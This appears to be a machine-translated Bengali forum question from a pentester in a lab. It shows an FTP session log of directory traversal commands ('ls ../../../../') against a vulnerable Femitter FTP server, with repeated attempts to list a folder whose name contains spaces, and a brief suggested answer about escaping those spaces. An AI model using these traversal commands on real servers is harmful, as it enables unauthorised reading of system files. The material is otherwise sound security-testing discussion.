আমি একটি বদ্ধ রেফারেন্স এনভায়রনমেন্টে অনুমোদিত অনুমোদিত পেনটেষ্ট পরিচালনা করছি এবং একটি আপাতদৃষ্টিতে সরল ইস্যুতে লড়াই করে আমি বর্তমানে সমাধান করতে পারছি না।
এমএস উইন্ডোজ ওএসে চলমান একটি অরক্ষিত ফেরমিটার এফটিপি সার্ভারের বিরুদ্ধে ডিরেক্টরি ট্র্যাভারসাল আক্রমণ চালানোর চেষ্টা করার সময়, সিস্টেম রুটে একটি তালিকা তৈরি করা সম্ভব (কেবলমাত্র রেফারেন্সের জন্য ঠিকানা এবং সামগ্রীর তালিকা এখানে পরিবর্তিত হয়েছে):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
যাইহোক, যদি আমি সাদা জায়গাগুলির মতো কোনও ফোল্ডারের বিষয়বস্তু তালিকাবদ্ধ করতে চাই, তবে Documents and settingsসাদা স্থানগুলিকে উপেক্ষা করার কারণে আমি ডিরেক্টরি সামগ্রীর তালিকা করতে পারছি না।
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
আমি ইতিমধ্যে বিভিন্ন এফটিপি ক্লায়েন্ট (সিএলআই এবং জিইউআই, লিনাক্স এবং উইন্ডোজ) ব্যবহার করার চেষ্টা করেছি এবং হয় তারা সাদা স্পেস অগ্রাহ্য করে অথবা ডিরেক্টরি ট্র্যাভারসালকে অস্বীকার করে।
প্রথমে কাঁচা সকেট ব্যবহার করে পাইথনের উপর আক্রমণটি স্ক্রিপ্ট করার চেষ্টা করে এবং তারপরে সরাসরি এফটিপি সার্ভারে এইচএক্স ফর্ম্যাটে কমান্ডগুলি প্রেরণ করার জন্য, তবে কোনও সাফল্য না পেয়ে।
কয়েক ঘন্টার জন্য গুগল একটি কার্যক্ষম সমাধান দেয় নি (হ্যাঁ, প্রচুর বিকল্প ছিল, যা কাজ করেনি), এ কারণেই এখানে কেউ আছেন, যার একই সমস্যা ছিল। অত্যন্ত নিশ্চিত যে, সাদা স্থানগুলির সাথে এই জাতীয় ডিরেক্টরি ট্রভারসালালের প্রয়োজন প্রথম নয়।
\ডিরেক্টরি স্ট্রিং সহ ফাঁকা স্থানগুলি পালানোর চেষ্টা করুন